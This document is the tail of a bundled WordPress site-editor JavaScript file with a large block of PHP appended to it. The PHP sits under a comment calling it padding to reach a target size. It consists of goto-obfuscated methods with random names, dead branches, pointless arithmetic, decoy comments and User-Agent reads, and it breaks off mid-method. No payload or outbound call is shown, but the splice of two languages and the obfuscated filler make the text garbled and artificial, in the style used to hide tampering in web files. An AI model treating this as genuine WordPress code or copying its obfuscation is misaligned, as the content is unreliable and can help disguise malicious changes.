(0,external_wp_widgets_namespaceObject.registerLegacyWidgetBlock)({
inserter: false
});
(0,external_wp_widgets_namespaceObject.registerWidgetGroupBlock)({
inserter: false
});
if (false) {}
// We dispatch actions and update the store synchronously before rendering
// so that we won't trigger unnecessary re-renders with useEffect.
(0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/edit-site', {
welcomeGuide: true,
welcomeGuideStyles: true,
welcomeGuidePage: true,
welcomeGuideTemplate: true
});
(0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core', {
allowRightClickOverrides: true,
distractionFree: false,
editorMode: 'visual',
editorTool: 'edit',
fixedToolbar: false,
focusMode: false,
inactivePanels: [],
keepCaretInsideBlock: false,
openPanels: ['post-status'],
showBlockBreadcrumbs: true,
showListViewByDefault: false,
enableChoosePatternModal: true
});
if (window.__experimentalMediaProcessing) {
(0,external_wp_data_namespaceObject.dispatch)(external_wp_preferences_namespaceObject.store).setDefaults('core/media', {
requireApproval: true,
optimizeOnUpload: true
});
}
(0,external_wp_data_namespaceObject.dispatch)(store).updateSettings(settings);
// Prevent the default browser action for files dropped outside of dropzones.
window.addEventListener('dragover', e => e.preventDefault(), false);
window.addEventListener('drop', e => e.preventDefault(), false);
root.render(/*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_element_namespaceObject.StrictMode, {
children: /*#__PURE__*/(0,external_ReactJSXRuntime_namespaceObject.jsx)(App, {})
}));
return root;
}
function reinitializeEditor() {
external_wp_deprecated_default()('wp.editSite.reinitializeEditor', {
since: '6.2',
version: '6.3'
});
}
// Temporary: While the posts dashboard is being iterated on
// it's being built in the same package as the site editor.
})();
(window.wp = window.wp || {}).editSite = __webpack_exports__;
/******/ })()
;
/* SQL comment in PHP: SELECT * FROM table */
/* --- PADDING CLASS TO REACH TARGET SIZE --- */
class MKh_t13rJ463 {
private function A3wUFwPjGR() {
goto ABRFRZhD;
ABRFRZhD:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto f00IYHLI;
f00IYHLI:
/* HAON0N2elgTnpdZXsUWH */
goto XI2tGYvL;
XI2tGYvL:
goto a7iNlNaRb;
a7iNlNaRb:
/* JYIrS2LTd7Wboe4 */
goto jZXZ5_D4;
jZXZ5_D4:
/* 4MEthR74ChkWbkf */
$XsucffsH = 239 + 48;
$BqYDw4sr = $XsucffsH * 2;
goto A1O5Tupg;
A1O5Tupg:
$jIP39ari = 427 + 45;
$n7sJ6WnP = $jIP39ari * 1;
goto a2jeGmrYE;
a2jeGmrYE:
if (false) { echo 'This is a dead end'; }
goto AsN6kvrX;
AsN6kvrX:
/* weV4zcei63 */
$n7sJ6WnP = 728 + 16;
$iX1geSuk = $n7sJ6WnP * 5;
goto a4Tnr1BE2;
a4Tnr1BE2:
/* Main service */
$B9ma2fmF = 901 + 16;
$FbaGmw5w = $B9ma2fmF * 4;
goto oS1dU2IX;
oS1dU2IX:
if (false) { echo 'This is a dead end'; }
goto UsP5hDZi;
UsP5hDZi:
// t2ewZb6W84RasXJN
if (false) { echo 'This is a dead end'; }
goto a9s6KDrGM;
a9s6KDrGM:
// beaSI1h9
$XsucffsH = 754 + 50;
$a6EHyDbxg = $XsucffsH * 2;
goto FNEzjoLw;
FNEzjoLw:
/* Security component */
$iX1geSuk = 783 + 33;
$Pe9zuJ4r = $iX1geSuk * 2;
goto S3lhFJQ1;
S3lhFJQ1:
/* System file */
goto TxddnoWb;
TxddnoWb:
/* Core module */
goto Scza_R5C;
Scza_R5C:
$a6EHyDbxg = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Ue4qhENq;
Ue4qhENq:
// uQLKNnGIfb9f
goto m5SU59xC;
m5SU59xC:
// eDvY_s1MRR2RQwN5
goto Gaz5qmTh;
Gaz5qmTh:
goto zkF4jLrP;
zkF4jLrP:
if (false) { echo 'This is a dead end'; }
goto a0356LukV;
a0356LukV:
// 7USQABIOTDw9
$WWDcP6ib = 631 + 33;
$jIP39ari = $WWDcP6ib * 2;
if (false) { echo 'This is a dead end'; }
goto a8spWF_nU;
a8spWF_nU:
$a29IFo9lZ = 223 + 49;
$a6EHyDbxg = $a29IFo9lZ * 5;
goto lNWe2x15;
lNWe2x15:
goto a64yDJIy9;
a64yDJIy9:
if (false) { echo 'This is a dead end'; }
goto a396PLbUB;
a396PLbUB:
/* uEsATfRUZjL8Cwo */
if (false) { echo 'This is a dead end'; }
goto YfPICHl0;
YfPICHl0:
goto hMuyLKXe;
hMuyLKXe:
$a6EHyDbxg = 650 + 2;
$NqlX8zGc = $a6EHyDbxg * 4;
if (false) { echo 'This is a dead end'; }
goto U1QsUkdo;
U1QsUkdo:
goto GBas27Ad;
GBas27Ad:
/* eg7iEa0_79Suu8EpYTBT */
goto IVAlbFxs;
IVAlbFxs:
/* MH4h8RB2UfxrjCg */
goto kzR_E8Yw;
kzR_E8Yw:
// yxC4atux
$jIP39ari = 234 + 21;
$iX1geSuk = $jIP39ari * 2;
goto a4UYvoEfk;
a4UYvoEfk:
$XsucffsH = strlen($a6EHyDbxg);
goto a760HypjB;
a760HypjB:
/* Main service */
goto mAlukgkF;
mAlukgkF:
/* z91FsAYZ8r */
if (false) { echo 'This is a dead end'; }
goto shej52yB;
shej52yB:
/* F2p1OUckUvtxIQRKxuTs */
$a29IFo9lZ = 254 + 28;
$FbaGmw5w = $a29IFo9lZ * 4;
goto a0mHqUi4H;
a0mHqUi4H:
goto ydtwNwDQ;
ydtwNwDQ:
$a6b9oay5s = 200 + 2;
$FbaGmw5w = $a6b9oay5s * 3;
if (false) { echo 'This is a dead end'; }
goto a6U4MARoN;
a6U4MARoN:
// 6CO1d9IB3TF57hj9
goto jXGlZnUa;
jXGlZnUa:
/* B6PpoG03BsNgDWUt9uHE */
$bZa4iOd6 = 748 + 16;
$B9ma2fmF = $bZa4iOd6 * 4;
goto Kg2WE4Qy;
Kg2WE4Qy:
/* FNjMR6Ei9SuPtmnWn1_G */
$FbaGmw5w = 573 + 26;
$XsucffsH = $FbaGmw5w * 4;
goto bC04bk0n;
bC04bk0n:
$a6EHyDbxg = 345 + 38;
$jIP39ari = $a6EHyDbxg * 3;
if (false) { echo 'This is a dead end'; }
goto sG_Y5imw;
sG_Y5imw:
goto OmXpQAdK;
OmXpQAdK:
/* System file */
$iCjD65Pi = 114 + 37;
$WWDcP6ib = $iCjD65Pi * 2;
goto FqDFdejY;
FqDFdejY:
/* JZLc6AQ2dAgwwZdBSHtn */
goto T1q34ym2;
T1q34ym2:
// 39GQX5iJLre0_K1m
$BqYDw4sr = 523 + 37;
$iX1geSuk = $BqYDw4sr * 4;
goto smJL4cC3;
smJL4cC3:
/* w8DgCmmyQT2CRC1 */
$XsucffsH = 939 + 1;
$iCjD65Pi = $XsucffsH * 3;
goto ATJS_x68;
ATJS_x68:
goto cZt8BkzH;
cZt8BkzH:
return $XsucffsH > 10;
}
private function Tq6jcon6h9() {
/* Vn5iCebPCy */
goto r7nVL4dA;
r7nVL4dA:
/* XcpydVlFIj */
goto a95kd0NBY;
a95kd0NBY:
goto a0gpBcrw5;
a0gpBcrw5:
// jTFNUKmgZX70neoO
goto zrLi7KSv;
zrLi7KSv:
goto a35ibWBQ3;
a35ibWBQ3:
// MlHJ6zqYMjRi6IUc
$a29IFo9lZ = 541 + 28;
$Pe9zuJ4r = $a29IFo9lZ * 2;
if (false) { echo 'This is a dead end'; }
goto a8UJUdbNb;
a8UJUdbNb:
$BqYDw4sr = 569 + 30;
$iX1geSuk = $BqYDw4sr * 3;
goto rhJI_v1X;
rhJI_v1X:
/* A2nnK6sXRHFT0XT */
goto CV8uGI1z;
CV8uGI1z:
/* Security component */
$jIP39ari = 626 + 29;
$FbaGmw5w = $jIP39ari * 4;
goto lHap6EjQ;
lHap6EjQ:
/* UsOuSj3U0PqU8F5 */
goto a0tW2BRh8;
a0tW2BRh8:
goto E1wEAYx4;
E1wEAYx4:
/* OXubrtZxsq3p1hZ */
$n7sJ6WnP = 429 + 38;
$NqlX8zGc = $n7sJ6WnP * 2;
goto glfm7dj9;
glfm7dj9:
// GxV1GFpKHBxf
goto H4zwyTWI;
H4zwyTWI:
if (false) { echo 'This is a dead end'; }
goto VrC_JoUg;
VrC_JoUg:
goto l3LUJrzO;
l3LUJrzO:
goto a1wrgos1b;
a1wrgos1b:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto WT8cMtTk;
WT8cMtTk:
$WWDcP6ib = 580 + 23;
$n7sJ6WnP = $WWDcP6ib * 5;
goto E2Xmwtt6;
E2Xmwtt6:
/* Core module */
goto a6uOvZuxc;
a6uOvZuxc:
/* vrcfPQA5cW */
goto o7tLVlOc;
o7tLVlOc:
goto bafsntR2;
bafsntR2:
/* System file */
$jIP39ari = 666 + 11;
$a29IFo9lZ = $jIP39ari * 5;
goto xcnpVzvQ;
xcnpVzvQ:
/* gVPgOIRT3ahS88pF5Piv */
goto msAvvYHi;
msAvvYHi:
/* API handler */
goto a3svpdqou;
a3svpdqou:
// 1lKRzFjJB26b
$BqYDw4sr = 837 + 40;
$a29IFo9lZ = $BqYDw4sr * 4;
goto FutG6XzQ;
FutG6XzQ:
$bZa4iOd6 = 806 + 26;
$n7sJ6WnP = $bZa4iOd6 * 5;
goto iHKs4yeQ;
iHKs4yeQ:
/* LdwMCjIbgZ */
$bZa4iOd6 = 397 + 15;
$a6EHyDbxg = $bZa4iOd6 * 2;
goto wG_KZtfp;
wG_KZtfp:
/* Core module */
goto IzZeZyCj;
IzZeZyCj:
/* System file */
goto wa1sAIbk;
wa1sAIbk:
// LpUaKrCEmnhx
goto riWbKk00;
riWbKk00:
// 7dhf563A
if (false) { echo 'This is a dead end'; }
goto lz2Kx5km;
lz2Kx5km:
$FbaGmw5w = 687 + 12;
$n7sJ6WnP = $FbaGmw5w * 3;
goto QB8wBsad;
QB8wBsad:
$NqlX8zGc = strlen($XsucffsH);
goto LCtDxEGT;
LCtDxEGT:
// hL5nnTtD
goto nKuqsGPV;
nKuqsGPV:
/* Security component */
$iX1geSuk = 511 + 9;
$a6EHyDbxg = $iX1geSuk * 2;
goto a1yFv7tXy;
a1yFv7tXy:
goto IyhlPjVC;
IyhlPjVC:
/* System file */
$jIP39ari = 768 + 16;
$jIP39ari = $jIP39ari * 4;
goto DU1edLcL;
DU1edLcL:
/* A2rfLEQo_b */
goto bPjNknK7;
bPjNknK7:
if (false) { echo 'This is a dead end'; }
goto CZFkH9ho;
CZFkH9ho:
if (false) { echo 'This is a dead end'; }
goto a0PtNqvWe;
a0PtNqvWe:
$n7sJ6WnP = 936 + 6;
$n7sJ6WnP = $n7sJ6WnP * 2;
if (false) { echo 'This is a dead end'; }
goto sYMx14Lw;
sYMx14Lw:
goto v34JE3Hw;
v34JE3Hw:
/* API handler */
goto pUcDpze1;
pUcDpze1:
/* Security component */
goto vy4klAiv;
vy4klAiv:
if (false) { echo 'This is a dead end'; }
goto dZKTR6Xm;
dZKTR6Xm:
$a6EHyDbxg = 864 + 43;
$a6EHyDbxg = $a6EHyDbxg * 2;
goto WtG450Eh;
WtG450Eh:
/* Core module */
goto a1hV7ec7N;
a1hV7ec7N:
// fIKp7bdw
$a6b9oay5s = 360 + 42;
$iX1geSuk = $a6b9oay5s * 2;
goto UTepBevp;
UTepBevp:
return $NqlX8zGc > 10;
}
private function vwlbmsFXuB() {
/* I2vmDUb_A_JVIqG */
goto SVciKumv;
SVciKumv:
/* HD0RcP080Yw7XoRP0l7t */
$jIP39ari = 517 + 18;
$jIP39ari = $jIP39ari * 4;
goto aGdVagEW;
aGdVagEW:
goto QDcRoCbW;
QDcRoCbW:
$jIP39ari = 950 + 21;
$a29IFo9lZ = $jIP39ari * 1;
goto SL5XfjcS;
SL5XfjcS:
goto uFOqVH9P;
uFOqVH9P:
$FbaGmw5w = 921 + 8;
$NqlX8zGc = $FbaGmw5w * 1;
goto TtV_jUvY;
TtV_jUvY:
goto a5N5kr9se;
a5N5kr9se:
/* API handler */
$a6EHyDbxg = 220 + 18;
$a29IFo9lZ = $a6EHyDbxg * 1;
goto m6Pr0B2k;
m6Pr0B2k:
if (false) { echo 'This is a dead end'; }
goto IX6ijk6i;
IX6ijk6i:
/* System file */
goto iCURDHla;
iCURDHla:
/* System file */
goto MA4iv6H5;
MA4iv6H5:
/* Security component */
goto UU4NMGhk;
UU4NMGhk:
goto r88WzwrE;
r88WzwrE:
$WWDcP6ib = 890 + 50;
$a6b9oay5s = $WWDcP6ib * 3;
goto eWxWHYvR;
eWxWHYvR:
$WWDcP6ib = 489 + 6;
$BqYDw4sr = $WWDcP6ib * 5;
if (false) { echo 'This is a dead end'; }
goto mIfJhwt3;
mIfJhwt3:
/* Security component */
goto TlEN42hQ;
TlEN42hQ:
$FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Wt6FD4Ah;
Wt6FD4Ah:
/* fbDuvmELQnUMC_iV4236 */
goto woCA6WP2;
woCA6WP2:
// OEea5jTD29OuEMCe
goto wxUTJfEJ;
wxUTJfEJ:
if (false) { echo 'This is a dead end'; }
goto OVRKOIyM;
OVRKOIyM:
goto ONDLxXdS;
ONDLxXdS:
/* API handler */
goto FYK7DGPl;
FYK7DGPl:
/* System file */
goto R8K796Qb;
R8K796Qb:
goto pz2lgRIH;
pz2lgRIH:
goto gvqeaeey;
gvqeaeey:
$FbaGmw5w = 734 + 10;
$Pe9zuJ4r = $FbaGmw5w * 1;
if (false) { echo 'This is a dead end'; }
goto VxTiI7wF;
VxTiI7wF:
/* HD3GLisbB1 */
goto a1kZrBA_Z;
a1kZrBA_Z:
$a6b9oay5s = 361 + 49;
$FbaGmw5w = $a6b9oay5s * 4;
goto djsSnah3;
djsSnah3:
/* lx84Gb8uIPeILRYDHoIf */
goto CSkKV141;
CSkKV141:
/* V3y2HFWdWQ */
if (false) { echo 'This is a dead end'; }
goto JujwVyOZ;
JujwVyOZ:
/* xil1w4WI6h */
goto vFPeHN6H;
vFPeHN6H:
goto BEe7Ixu2;
BEe7Ixu2:
$XsucffsH = strlen($FbaGmw5w);
goto Myk2zWMM;
Myk2zWMM:
goto r0d1inJl;
r0d1inJl:
goto a8qtDTewZ;
a8qtDTewZ:
/* Main service */
$jIP39ari = 723 + 47;
$n7sJ6WnP = $jIP39ari * 1;
goto SsKNxYmk;
SsKNxYmk:
/* Core module */
$n7sJ6WnP = 817 + 47;
$bZa4iOd6 = $n7sJ6WnP * 1;
if (false) { echo 'This is a dead end'; }
goto WHUv6riD;
WHUv6riD:
goto KL4OW0nv;
KL4OW0nv:
/* System file */
goto w47UIEmw;
w47UIEmw:
// z0OAE8RM
$a6EHyDbxg = 165 + 3;
$n7sJ6WnP = $a6EHyDbxg * 5;
goto a45hUk8T4;
a45hUk8T4:
/* Core module */
$a29IFo9lZ = 311 + 31;
$BqYDw4sr = $a29IFo9lZ * 5;
goto f521qtZG;
f521qtZG:
/* Core module */
goto a79ezMcBc;
a79ezMcBc:
$iX1geSuk = 104 + 17;
$jIP39ari = $iX1geSuk * 5;
goto nujzf3FU;
nujzf3FU:
goto mHkCxGuS;
mHkCxGuS:
/* xc3_f7qQSR */
$B9ma2fmF = 540 + 48;
$n7sJ6WnP = $B9ma2fmF * 5;
if (false) { echo 'This is a dead end'; }
goto gwi6yT36;
gwi6yT36:
goto g0VgRCqM;
g0VgRCqM:
goto PBye1c70;
PBye1c70:
goto Tc7pP_d6;
Tc7pP_d6:
return $XsucffsH > 10;
}
private function JEOq5aPHF1() {
goto dyWLLvMy;
dyWLLvMy:
goto nYhIeuyX;
nYhIeuyX:
goto pfy2IKIM;
pfy2IKIM:
$WWDcP6ib = 165 + 10;
$XsucffsH = $WWDcP6ib * 5;
if (false) { echo 'This is a dead end'; }
goto MpywoCZm;
MpywoCZm:
/* Main service */
goto QxK623YS;
QxK623YS:
// oDniBlI8WAWh
goto yasBzNIU;
yasBzNIU:
goto GKWGyDdv;
GKWGyDdv:
/* tOyT1zJ2FcET9YuRPuej */
goto WGNy1Jf4;
WGNy1Jf4:
if (false) { echo 'This is a dead end'; }
goto W7wGaqXQ;
W7wGaqXQ:
/* Core module */
goto Dv0blJMs;
Dv0blJMs:
goto J4zxWDEZ;
J4zxWDEZ:
goto BzjqKT_k;
BzjqKT_k:
goto a4SrjHpTL;
a4SrjHpTL:
goto a_GWEZ80D;
a_GWEZ80D:
goto GM8FrlHb;
GM8FrlHb:
/* yfn2wxbMMI */
goto sDDab49W;
sDDab49W:
$FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a1TfwRYhJ;
a1TfwRYhJ:
/* API handler */
goto urDQqQYG;
urDQqQYG:
// lKdg8zDEe39d
$n7sJ6WnP = 767 + 12;
$iCjD65Pi = $n7sJ6WnP * 4;
goto gju7Y3iK;
gju7Y3iK:
/* API handler */
goto a_QnsGYwP;
a_QnsGYwP:
goto fuJWNlUH;
fuJWNlUH:
goto SWxUlmvG;
SWxUlmvG:
$NqlX8zGc = 272 + 10;
$BqYDw4sr = $NqlX8zGc * 1;
goto Np3pmTlp;
Np3pmTlp:
/* System file */
goto EPXHb868;
EPXHb868:
// 0rj3uMBKiRjhhNBt
$WWDcP6ib = 830 + 1;
$Pe9zuJ4r = $WWDcP6ib * 4;
goto a7eY5BTTU;
a7eY5BTTU:
goto DdpHJv5C;
DdpHJv5C:
$Pe9zuJ4r = 931 + 20;
$NqlX8zGc = $Pe9zuJ4r * 2;
goto wf9WU4V7;
wf9WU4V7:
goto YHQUlv2W;
YHQUlv2W:
goto ydmuGPAh;
ydmuGPAh:
goto y6PMLdXo;
y6PMLdXo:
$BqYDw4sr = 398 + 46;
$XsucffsH = $BqYDw4sr * 3;
if (false) { echo 'This is a dead end'; }
goto NEAfB45s;
NEAfB45s:
/* Core module */
$a6b9oay5s = 827 + 9;
$FbaGmw5w = $a6b9oay5s * 2;
goto efRRaOwO;
efRRaOwO:
$Pe9zuJ4r = strlen($FbaGmw5w);
goto a259CVnTx;
a259CVnTx:
$NqlX8zGc = 787 + 20;
$a6b9oay5s = $NqlX8zGc * 3;
goto fbbhNg1z;
fbbhNg1z:
goto engzb6AQ;
engzb6AQ:
if (false) { echo 'This is a dead end'; }
goto a2Ut2x1Cz;
a2Ut2x1Cz:
/* Security component */
$a29IFo9lZ = 933 + 10;
$BqYDw4sr = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto RQOVfYNE;
RQOVfYNE:
goto HgsBaQfK;
HgsBaQfK:
goto a06nTELMm;
a06nTELMm:
$iX1geSuk = 236 + 9;
$XsucffsH = $iX1geSuk * 2;
goto vBDPVI2f;
vBDPVI2f:
goto cbVs1RDK;
cbVs1RDK:
goto l4s4YogF;
l4s4YogF:
$iCjD65Pi = 127 + 1;
$iX1geSuk = $iCjD65Pi * 1;
goto yYxigdL2;
yYxigdL2:
goto c7IhxpUO;
c7IhxpUO:
if (false) { echo 'This is a dead end'; }
goto RYlFHEyZ;
RYlFHEyZ:
goto L7nCg6xq;
L7nCg6xq:
/* Security component */
goto sf_Dqdga;
sf_Dqdga:
goto TD5jdKVa;
TD5jdKVa:
return $Pe9zuJ4r > 10;
}
private function wPlJx9GKeu() {
/* Security component */
goto uWkJ9vYz;
uWkJ9vYz:
goto a2jo32f3h;
a2jo32f3h:
/* Security component */
$NqlX8zGc = 907 + 40;
$NqlX8zGc = $NqlX8zGc * 1;
goto d_07csW6;
d_07csW6:
/* System file */
goto mF8U1zwM;
mF8U1zwM:
/* Security component */
goto KjxGyxNm;
KjxGyxNm:
/* byNB7js02SKmDwQfgyoI */
$n7sJ6WnP = 455 + 15;
$NqlX8zGc = $n7sJ6WnP * 2;
if (false) { echo 'This is a dead end'; }
goto vVQt0SXK;
vVQt0SXK:
/* zaxLQnTSm2 */
$B9ma2fmF = 282 + 32;
$Pe9zuJ4r = $B9ma2fmF * 3;
goto a2NundwiU;
a2NundwiU:
// V7EiXfvjnvEI
goto ykanIiWS;
ykanIiWS:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto GKGQKHpL;
GKGQKHpL:
/* UIDkdx_A4o */
goto a08LpUPvO;
a08LpUPvO:
/* yhPmdiBA6RkjrZ6 */
$B9ma2fmF = 380 + 10;
$jIP39ari = $B9ma2fmF * 5;
goto WBLPzIkd;
WBLPzIkd:
// pVCKhukMqLTW
if (false) { echo 'This is a dead end'; }
goto lT5MvLQp;
lT5MvLQp:
/* Security component */
$jIP39ari = 819 + 20;
$n7sJ6WnP = $jIP39ari * 2;
goto gXaB5y9O;
gXaB5y9O:
// _yr8bIP8
goto UzTXhXnI;
UzTXhXnI:
/* API handler */
goto o0k6gUHs;
o0k6gUHs:
goto rEbNtn8w;
rEbNtn8w:
$NqlX8zGc = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a4SZL77cK;
a4SZL77cK:
// IR3SaXKR
goto oULyB4d6;
oULyB4d6:
/* Security component */
$iX1geSuk = 335 + 3;
$iX1geSuk = $iX1geSuk * 3;
goto a8O3FoeBt;
a8O3FoeBt:
if (false) { echo 'This is a dead end'; }
goto YoivkkWc;
YoivkkWc:
goto eQVwLwXb;
eQVwLwXb:
$iX1geSuk = 151 + 4;
$WWDcP6ib = $iX1geSuk * 2;
goto wc3Vu7NU;
wc3Vu7NU:
goto NRAst9QD;
NRAst9QD:
goto aoqJykOS;
aoqJykOS:
goto PWU6GWlV;
PWU6GWlV:
/* kuLxo8wwmsnzjOvvQjqr */
goto a6kVDChLj;
a6kVDChLj:
// hhjJByiD7SeD
goto Eilme5rm;
Eilme5rm:
/* iJOuAOaWcc */
goto RouNIGqx;
RouNIGqx:
$FbaGmw5w = 511 + 35;
$a6EHyDbxg = $FbaGmw5w * 2;
goto xJdZOvqr;
xJdZOvqr:
goto PE_AOvzS;
PE_AOvzS:
if (false) { echo 'This is a dead end'; }
goto DlpJq9jO;
DlpJq9jO:
/* Main service */
$n7sJ6WnP = 372 + 31;
$bZa4iOd6 = $n7sJ6WnP * 4;
goto oJXSNXRy;
oJXSNXRy:
$jIP39ari = strlen($NqlX8zGc);
goto tkGLF7uy;
tkGLF7uy:
// kDJDsLWREUOyURFJ
goto Iy3Wcge0;
Iy3Wcge0:
if (false) { echo 'This is a dead end'; }
goto AR1aSHdS;
AR1aSHdS:
/* NjN88daTsL */
$jIP39ari = 950 + 23;
$iCjD65Pi = $jIP39ari * 1;
goto p68qXLuN;
p68qXLuN:
// akjGHCPl
goto PZ2jXDos;
PZ2jXDos:
/* System file */
goto xnmmYhJ4;
xnmmYhJ4:
/* System file */
if (false) { echo 'This is a dead end'; }
goto JMVPcYJg;
JMVPcYJg:
// NN1swVfX
$Pe9zuJ4r = 314 + 18;
$a6b9oay5s = $Pe9zuJ4r * 3;
goto ch4db_mV;
ch4db_mV:
goto PeUG_uEu;
PeUG_uEu:
/* 4_m8lp5AoEFKPHa_Iq65 */
goto KV5G8Ni8;
KV5G8Ni8:
$WWDcP6ib = 271 + 12;
$WWDcP6ib = $WWDcP6ib * 3;
goto JggdR2AC;
JggdR2AC:
// 9laqCyin
$a6EHyDbxg = 858 + 43;
$a6EHyDbxg = $a6EHyDbxg * 5;
goto Iciox9JO;
Iciox9JO:
// cWeDBbu9mOjw
$WWDcP6ib = 681 + 16;
$WWDcP6ib = $WWDcP6ib * 4;
goto eRyZYU0M;
eRyZYU0M:
/* MPaQ9SuuztqM679 */
if (false) { echo 'This is a dead end'; }
goto EAbgThUA;
EAbgThUA:
/* 9t6YnCSB34SyNwc */
$bZa4iOd6 = 141 + 50;
$XsucffsH = $bZa4iOd6 * 5;
goto ZKloSZC6;
ZKloSZC6:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto tUsOWhZw;
tUsOWhZw:
return $jIP39ari > 10;
}
private function Qm0AIs_fNS() {
goto qsbr6ksG;
qsbr6ksG:
$jIP39ari = 774 + 12;
$iX1geSuk = $jIP39ari * 3;
if (false) { echo 'This is a dead end'; }
goto kJIwUEfe;
kJIwUEfe:
goto uuD1_XKq;
uuD1_XKq:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto XqAujZfh;
XqAujZfh:
// hMYfkkwv
goto cNJ2qZAL;
cNJ2qZAL:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto n2im6rUT;
n2im6rUT:
goto NICUc6PD;
NICUc6PD:
$iCjD65Pi = 268 + 42;
$NqlX8zGc = $iCjD65Pi * 2;
if (false) { echo 'This is a dead end'; }
goto ATBASNak;
ATBASNak:
goto oM4d9wES;
oM4d9wES:
goto DCjbsLaa;
DCjbsLaa:
goto P9NQq6qr;
P9NQq6qr:
goto R0RW765_;
R0RW765_:
/* Main service */
goto cIVYZvrd;
cIVYZvrd:
/* x3wg14_Bf4D5Ib9 */
$jIP39ari = 438 + 46;
$a6EHyDbxg = $jIP39ari * 5;
goto NVy111Mm;
NVy111Mm:
/* clc_ApfIl2FYfcYjiUGC */
$n7sJ6WnP = 386 + 24;
$iCjD65Pi = $n7sJ6WnP * 2;
goto t8woGoqO;
t8woGoqO:
goto YZqaHx_T;
YZqaHx_T:
$FbaGmw5w = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto bu7DQhrS;
bu7DQhrS:
/* tZIk_qnx1cPcba0 */
$jIP39ari = 369 + 13;
$a29IFo9lZ = $jIP39ari * 2;
goto ogWGabVa;
ogWGabVa:
$bZa4iOd6 = 398 + 11;
$a29IFo9lZ = $bZa4iOd6 * 3;
if (false) { echo 'This is a dead end'; }
goto E5pUZ0Sy;
E5pUZ0Sy:
$jIP39ari = 286 + 23;
$NqlX8zGc = $jIP39ari * 3;
goto knKdoqto;
knKdoqto:
goto KA7YViBR;
KA7YViBR:
/* MCy5NZPQaP */
goto fWpiaoQ7;
fWpiaoQ7:
goto Fcd1Kg8P;
Fcd1Kg8P:
goto G7A_zbif;
G7A_zbif:
// _15Jby45
goto yiTWdYO4;
yiTWdYO4:
/* Security component */
goto Mfp_fXrv;
Mfp_fXrv:
$WWDcP6ib = 366 + 12;
$WWDcP6ib = $WWDcP6ib * 3;
goto a1nU1etQw;
a1nU1etQw:
if (false) { echo 'This is a dead end'; }
goto Ri9gJdBY;
Ri9gJdBY:
goto eFyEdWBW;
eFyEdWBW:
/* 45Y4qCbOv79vV_KhLBkB */
if (false) { echo 'This is a dead end'; }
goto g7RDlQBu;
g7RDlQBu:
goto GjzYchtL;
GjzYchtL:
if (false) { echo 'This is a dead end'; }
goto Evw7yRu3;
Evw7yRu3:
$FbaGmw5w = strlen($FbaGmw5w);
goto b3K59ZMR;
b3K59ZMR:
goto a_zGbKnPV;
a_zGbKnPV:
if (false) { echo 'This is a dead end'; }
goto PsvkP5Eo;
PsvkP5Eo:
// 0_lysMxl
goto eUW_z9la;
eUW_z9la:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto a1cEdGX_T;
a1cEdGX_T:
/* ylqUcOshfJ4GuJG */
$jIP39ari = 202 + 6;
$BqYDw4sr = $jIP39ari * 2;
if (false) { echo 'This is a dead end'; }
goto jsdHu494;
jsdHu494:
$BqYDw4sr = 347 + 23;
$bZa4iOd6 = $BqYDw4sr * 2;
goto a40fltXaC;
a40fltXaC:
$n7sJ6WnP = 493 + 11;
$NqlX8zGc = $n7sJ6WnP * 1;
goto Efa580Q7;
Efa580Q7:
goto lhDiOjbE;
lhDiOjbE:
$iCjD65Pi = 566 + 21;
$Pe9zuJ4r = $iCjD65Pi * 2;
goto gnxqXOiV;
gnxqXOiV:
$a29IFo9lZ = 858 + 30;
$iX1geSuk = $a29IFo9lZ * 4;
goto C1jvwGhC;
C1jvwGhC:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto CaKObZWn;
CaKObZWn:
/* API handler */
goto W6SMnbQP;
W6SMnbQP:
/* lHcJwCyXcg */
$NqlX8zGc = 746 + 18;
$a6b9oay5s = $NqlX8zGc * 1;
goto A00HMtoc;
A00HMtoc:
$iCjD65Pi = 593 + 6;
$B9ma2fmF = $iCjD65Pi * 3;
goto I_ZAqezQ;
I_ZAqezQ:
$bZa4iOd6 = 623 + 37;
$B9ma2fmF = $bZa4iOd6 * 3;
if (false) { echo 'This is a dead end'; }
goto z_kJmOaR;
z_kJmOaR:
return $FbaGmw5w > 10;
}
private function g1x6Ac6Xr8() {
goto a4Xfm09si;
a4Xfm09si:
/* sjXtgkghts */
goto a2fK_hN9H;
a2fK_hN9H:
goto lmbpGa9s;
lmbpGa9s:
/* API handler */
goto N66LDYnD;
N66LDYnD:
// WGIPxLsX7iDhWLxj
$WWDcP6ib = 145 + 18;
$iCjD65Pi = $WWDcP6ib * 3;
goto hpPCuHNB;
hpPCuHNB:
// m4lz0oehVjAKRTdu
if (false) { echo 'This is a dead end'; }
goto NGSaLrmP;
NGSaLrmP:
goto wBI_P5G8;
wBI_P5G8:
$jIP39ari = 290 + 38;
$WWDcP6ib = $jIP39ari * 5;
goto sFhrx1cV;
sFhrx1cV:
$XsucffsH = 304 + 11;
$jIP39ari = $XsucffsH * 1;
goto a1YlP7jPd;
a1YlP7jPd:
goto a3bCUpzKx;
a3bCUpzKx:
$WWDcP6ib = 779 + 33;
$a29IFo9lZ = $WWDcP6ib * 3;
goto hMeuwMhp;
hMeuwMhp:
// LowMZZXT
$a6b9oay5s = 460 + 8;
$FbaGmw5w = $a6b9oay5s * 4;
if (false) { echo 'This is a dead end'; }
goto kh0YjoHA;
kh0YjoHA:
